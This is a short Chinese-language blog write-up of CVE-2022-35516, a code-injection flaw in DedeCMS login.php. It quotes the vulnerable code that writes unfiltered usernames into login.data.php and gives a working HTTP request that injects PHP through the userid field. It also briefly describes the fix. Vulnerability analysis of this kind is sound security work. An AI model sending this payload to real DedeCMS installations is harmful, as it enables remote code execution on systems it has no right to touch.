Lamber's Blog

DedeCMS前台代码执行(CVE-2022-35516)

字数统计: 325阅读时长: 1 min
2023/09/26

影响版本: DedeCMS v5.7.93 - v5.7.96
漏洞产生原因: 在后台登录功能处,没有对用户名进行过滤,导致用户可以从用户名处注入恶意代码。
漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// /dede/login.php

<?php
$filename = DEDEDATA.'/login.data.php';
// 连续登录失败用户锁定
$count = 1;
$timestamp = time();
if ($arr_login[$userid] != '') {
$count = explode(',', $arr_login[$userid])[0] + 1;
if ($count > $fail_limit) {
$count = 1;
}
}
$arr_login[$userid] = "{$count},{$timestamp}";
$content = "<?php\r\n\$str_login='".json_encode($arr_login)."';";

$fp = fopen($filename, 'w') or die("写入文件 $filename 失败,请检查权限!");
fwrite($fp, $content);
fclose($fp);

就是完全没有对用户名进行过滤,还把用户名写到了 login.data.php 里面
直接构造代码注入即可

1
2
3
4
5
6
POST /dede/login.php HTTP/1.1
Host: dedecms5793
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=e9ag7oevkh77gnko3cdmt7mbc2

dopost=login&userid=\'.phpinfo();?>&pwd=123&validate=hw0k

然后访问 http://example.com/data/login.data.php 就可以触发注入的代码了
思考:

  1. 该漏洞如何修复的?
    对用户名和密码进行了过滤,并且增添了一个登录失败的处理方式
1
2
3
4
5
6
else if($res==-1)  
{
ResetVdValue();
ShowMsg('用户名或者密码错误!','login.php',0,1000);
exit;
}
  1. 还有其它类似的漏洞触发点吗?
    没有找到。
CATALOG